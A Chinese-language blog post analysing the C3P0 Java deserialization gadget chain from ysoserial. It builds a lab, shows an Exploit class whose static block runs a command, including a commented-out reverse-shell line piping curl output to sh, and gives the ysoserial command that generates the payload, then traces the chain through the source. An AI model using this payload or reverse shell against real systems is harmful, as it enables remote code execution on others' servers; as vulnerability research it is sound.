C3P0反序列化链浅析

0x0 前言

  关于C3P0反序列化链也许被很多人忽视了,网上与此相关的分析相对而言也较少,给人一种第一眼鸡肋的感觉,但是笔者有过切身经历,通过Fuzz的手段利用这个链打成功了某个站点。本文则是笔者学习此链的一些体会。

0x1 依赖

安装 ysoserial

git clone https://github.com/frohoff/ysoserial.git
cd ysoserial
mvn clean package -DskipTests

通过帮助信息,查看C3P0

java -jar ysoserial-0.0.6-SNAPSHOT-all.jar

可以看到c3p0需要的依赖:

C3P0                @mbechler                              c3p0:0.9.5.2, mchange-commons-java:0.2.11

要求:

c3p0 版本 0.9.5.2

mchange-commons-java 版本 0.2.11 (C3P0的依赖包,maven加载c3p0会自动加载该包)

0x2 配置环境

1.Idea 新建一个Maven项目

2.pom.xml 添加依赖

<dependencies>
        <dependency>
            <groupId>com.mchange</groupId>
            <artifactId>c3p0</artifactId>
            <version>0.9.5.2</version>
        </dependency>
    </dependencies>

3.编写反序列化的Demo

import java.io.FileInputStream;
import java.io.IOException;
import java.io.ObjectInputStream;

public class C3P0 {
    public static void main(String args[]) throws IOException, ClassNotFoundException {
        String path = System.getProperty("user.dir");
        System.out.println(path);
        ObjectInputStream in = new ObjectInputStream(new FileInputStream(path+"/src/main/java/poc.ser"));
        // trigger deserialization point
        in.readObject();
    }
}

4.挂载远程Exploit.Class

Exploit.java

import java.lang.Runtime;
import java.lang.Process;

public class Exploit {
    static {
        try{
            Runtime rt = Runtime.getRuntime();
            // reverse shell
            //String[] commands =  {"bash","-c","curl https://reverse-shell.sh/IP:PORT|sh"};
            String[] commands = {"bash", "-c", "open -a calculator.app"};
            Process pc = rt.exec(commands);
            pc.waitFor();
        }catch (Exception e){
            // do nothing
        }
    }
}

编译为class文件

javac Exploit.java

挂载Exploit.class

python3 -m http.server 9091

5.生成poc.ser

java -jar ysoserial-0.0.6-SNAPSHOT-all.jar C3P0 "http://0.0.0.0:9091/:Exploit" > poc.ser

6.执行反序列化

0x3 反序列化过程

这里笔者使用了两种分析思路,静态分析依赖环境少,但要求相对来说高,时间成本大点,动态分析则依赖环境搭建,要求较低,看懂代码就行,时间成本低,所以笔者一般会根据时间区间、代码复杂程度来权衡使用这两种方法。

1) 静态分析思路

通过查看ysoserial关于C3P0的注释:

* com.sun.jndi.rmi.registry.RegistryContext->lookup
 * com.mchange.v2.naming.ReferenceIndirector$ReferenceSerialized->getObject
 * com.mchange.v2.c3p0.impl.PoolBackedDataSourceBase->readObject

大概可以知道这个链的流向:

第一步:

com.mchange.v2.c3p0.impl.PoolBackedDataSourceBase->readObject

打开Packages,可以看到各种包,我们查找下c3p0

通过给出的包结构找到了第一个触发点:readObject

先通过short version = ois.readShort();读取版本,如果可以,那么就开始调用原生的ois.readObject()进行反序列化操作,获得对象之后,触发对象的getObject方法

第二步:

com.mchange.v2.naming.ReferenceIndirector$ReferenceSerialized->getObject

找到这里com.mchange.v2.naming.ReferenceIndirector,我们看到ReferenceSerialized是一个私有静态类,通过第一步触发了该类的getObject方法。

可控的类属性:

ReferenceSerialized( Reference   reference,
                 Name        name,
                 Name        contextName,
                 Hashtable   env )
    {
        this.reference = reference;
        this.name = name;
        this.contextName = contextName;
        this.env = env;
    }

getObjectinitialContext.lookup,其中contextName参数可控,可以进行JNDI注入。

public Object getObject() throws ClassNotFoundException, IOException
    {
        try
        {
            Context initialContext;
            if ( env == null )
            initialContext = new InitialContext();
            else
            initialContext = new InitialContext( env );

            Context nameContext = null;
            if ( contextName != null )
      // vuln
            nameContext = (Context) initialContext.lookup( contextName );
          return ReferenceableUtils.referenceToObject( reference, name, nameContext, env ); 
        }
        catch (NamingException e)
        {
            //e.printStackTrace();
            if ( logger.isLoggable( MLevel.WARNING ) )
            logger.log( MLevel.WARNING, "Failed to acquire the Context necessary to lookup an Object.", e );
            throw new InvalidObjectException( "Failed to acquire the Context necessary to lookup an Object: " + e.toString() );
        }
    }
    }

第三步:com.sun.jndi.rmi.registry.RegistryContext->lookup JNDI加载执行恶意类。

通过静态分析,我们可以大体明白C3P0的核心思路,出发点是PoolBackedDataSourceBase,落脚点是:ReferenceSerializedgetObject方法进行lookup加载可控远程恶意类。

2) 动态分析思路

这里我们直接打两个断点,用Idea进行debug分析ysoserial的加载过程。

跟进

可以很明显发现传入的对象是ReferenceSerialized类对象

但是传入的属性跟我静态分析想的不太一样,这里只传入了reference,其他为空:

然后继续单步跟进触发ReferenceSerialized类对象下的getObject方法,这里需要注意下这里有个关键的判断o是不是IndirectlySerializedS的接口实现,是的话就触发成功。

这里确实跟我静态分析不一样,并没有采用lookup进行JNDI注入,而是执行ReferenceableUtils.referenceToObject方法,单步跟进:


可以看到使用URLClassLoader方法通过远程HTTP服务远程加载类之后,利用Class.forName去实现恶意类的触发。

回顾上面的反序列化的过程:

传入一个精心构造的PoolBackedDataSourceBase类实例的序列化数据,反序列化的时候触发下面流程:

1.触发PoolBackedDataSourceBasereadObject的方法

2.原生反序列化得到ReferenceSerialized实例,自带实现IndirectlySerialized接口。

3.ReferenceSerialized实例的Reference属性包括了恶意类的加载信息

4.向下执行((IndirectlySerialized) o).getObject()触发其getObject方法,执行到ReferenceableUtils.referenceToObject( reference, name, nameContext, env )进行远程加载和调用恶意类,完成攻击。

0x4 序列化过程

直接跟进ysoserial的payload生成阶段

首先可以看到生成C3P0,我们传入的参数有固定格式:<base_url>:<classname>

http://0.0.0.0:9091/:Exploit ->经过解析之后转化为urlclassName

接下来:

PoolBackedDataSource b = Reflections.createWithoutConstructor(PoolBackedDataSource.class);

上面代码通过反射获取到入口类PoolBackedDataSourceBase得到其实例b。

Reflections.getField(PoolBackedDataSourceBase.class, "connectionPoolDataSource").set(b, new PoolSource(className, url));

然后通过反射设置其connectionPoolDataSource属性(为什么是这个属性?这个跟payload序列化生成有关,看下文)->new PoolSource(className, url)

跟进PoolSource的实现:

private static final class PoolSource implements ConnectionPoolDataSource, Referenceable {

        private String className;
        private String url;

      // constructor
        public PoolSource ( String className, String url ) {
            this.className = className;
            this.url = url;
        }

       // 暂时不知道具体作用
        public Reference getReference () throws NamingException {
            // 恶意类的远程加载信息
            return new Reference("exploit", this.className, this.url);
        }
      // ...实现接口中的其他函数,可以忽略
    }

其实到了这一步,可以感受到ysoserial作者对笔者技术层面进行降维打击。

笔者一直在想的是,为什么不直接自己写个代码实现ReferenceSerialized呢?


这里可以注意到PoolSource类是没有实现Serializable接口的,那么如果对这个对象进行序列化的话,过程会出错的,我们继续跟进objOut.writeObject(b);看下是怎么处理的。

调用到PoolBackedDataSourceBase类下的writeObject

这里并没有直接通过序列化得到PoolSource,而是缺乏Serializable实现,导致序列化过程失败,转而巧妙地通过indirectForm方法,来生成ReferenceSerialized类实例直接进行字节码写入。(*)

这里可以看到PoolSource 除了充当ConnectionPoolDataSource类型、在这里还进行了类型强制转换为Referenceable,故PoolSource类继承了ConnectionPoolDataSource, Referenceable这两个接口,同时实现getReference方法,将恶意类的信息加载了进去。

同时由于返回的是ReferenceSerialized实例,其自身实现IndirectlySerialized接口,故可以通过先前动态调试中的那个判断。

至此写入的序列化信息,能够在反序列化的时候进行正确类型转换,并且执行到恶意类加载。

0x5 总结

  这个链就是很巧,当时我还以为代码是刻意修改过的,后面发现这都是原生功能,ysoserial作者并没有重新实现某个类,也没有重写序列化方法,故这个神奇的链条实现方式,我自称之为魔法。

0x6 参考链接

C3P0反序列化链利用分析

c3p0的三个gadget

Modify ysoserial jar serialVersionUID

ysoserial CommonsCollections7 & C3P0 详细分析

ysoserial-C3P0 分析

点击收藏 | 1 关注 | 1 打赏
  • 动动手指,沙发就是你的了!
登录 后跟帖